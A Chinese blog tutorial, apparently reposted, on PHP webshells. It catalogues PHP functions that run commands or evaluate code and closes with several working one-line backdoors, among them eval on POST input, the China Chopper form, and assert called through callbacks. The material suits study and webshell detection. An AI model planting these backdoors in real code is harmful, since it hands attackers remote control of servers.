浅析PHP-webshell

一、PHP后门函数

1、命令执行函数

exec

适用范围:PHP 4, PHP 5, PHP 7        函数作用:执行一个外部程序,返回命令执行结果最后一行内容

string exec ( string $command [, array &$output [, int &$return_var ]] )

<?php
   echo exec('cd');  //D:\phpStudy\PHPTutorial\WWW
   echo exec('ipconfig');  //. . . . . . . . . . . . . : 172.31.100.1
?>

shell_exec

适用范围:PHP 4, PHP 5, PHP 7        函数作用:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回

string shell_exec ( string $cmd )

<?php
   echo shell_exec('ipconfig');  //显示ipconfig命令全部内容
?>

passthru

适用范围:PHP 4, PHP 5, PHP 7        函数作用:执行外部程序并且显示原始输出(全部原始内容,不用输出)

void passthru ( string $command [, int &$return_var ] )

<?php
   passthru('ipconfig'); //显示ipconfig全部内容
?>

system

适用范围:PHP 4, PHP 5, PHP 7        函数作用:执行外部程序并且显示输出

string system ( string $command [, int &$return_var ] )

<?php
   echo system('ipconfig');  //显示ipconfig命令全部内容
?>

当然还有其它执行系统命令的函数,如popen()、proc_open(),但这两个函数不返回命令执行结果。

2、PHP代码执行函数

eval

适用范围:PHP 4, PHP 5, PHP 7        函数作用:把字符串作为PHP代码执行

mixed eval ( string $code )

<?php
    eval('phpinfo();');
?>

assert

适用范围:PHP 4, PHP 5, PHP 7        函数作用:检查一个断言是否为 FALSE

bool assert ( mixed $assertion [, string $description ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

<?php
    assert(phpinfo());
    assert('print 123');
?>

preg_replace 

适用范围:PHP 4, PHP 5, PHP 7        函数作用:执行一个正则表达式的搜索和替换

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码执行

<?php
    preg_replace("//e","phpinfo()","");  //执行phpinfo()成功
?>

3、回调函数

解释:把函数作为参数传入进另一个函数中使用。

call_user_func

把第一个参数作为回调函数调用

call_user_func_array

调用回调函数,并把一个数组参数作为回调函数的参数

usort

使用用户自定义的比较函数对数组中的值进行排序

register_shutdown_function

<?php register_shutdown_function('assert','phpinfo();');?>

注册一个会在php中止时执行的函数

array_map

为数组的每个元素应用回调函数

array_walk

使用用户自定义函数对数组中的每个元素做回调处理

array_filter

用回调函数过滤数组中的单元

array_reduce

用回调函数迭代地将数组简化为单一的值

array_udiff

用回调函数比较数据来计算数组的差集

array_uintersect

计算数组的交集,用回调函数比较数据

array_diff_uassoc

用用户提供的回调函数做索引检查来计算数组的差集

array_diff_ukey

用回调函数对键名比较计算数组的差集

等等,其它含有回调函数的函数

二、后门构造

普通后门,通过各种方法构造动态函数:

<?php 
    @eval($_POST['admin']);  //菜刀的后门

    //稍微变形下的后门
    $_GET['func']($_REQUEST['pass']);  
    $_GET['POST']($_POST['GET']);
    ......
?>

通过回调函数进行构造后门

<?php
    call_user_func('assert', $_POST['pass']);
    call_user_func_array('assert', array($_POST['pass']));

    //数组回调进行构造后门
    $arr=array($_POST['pass']);
    array_filter($arr,'assert');
    array_map('assert', $arr);
    uasort($arr, 'assert');
    //等等,用回调函数进行构造
?>

猜你喜欢

转载自blog.csdn.net/a15803617402/article/details/82460049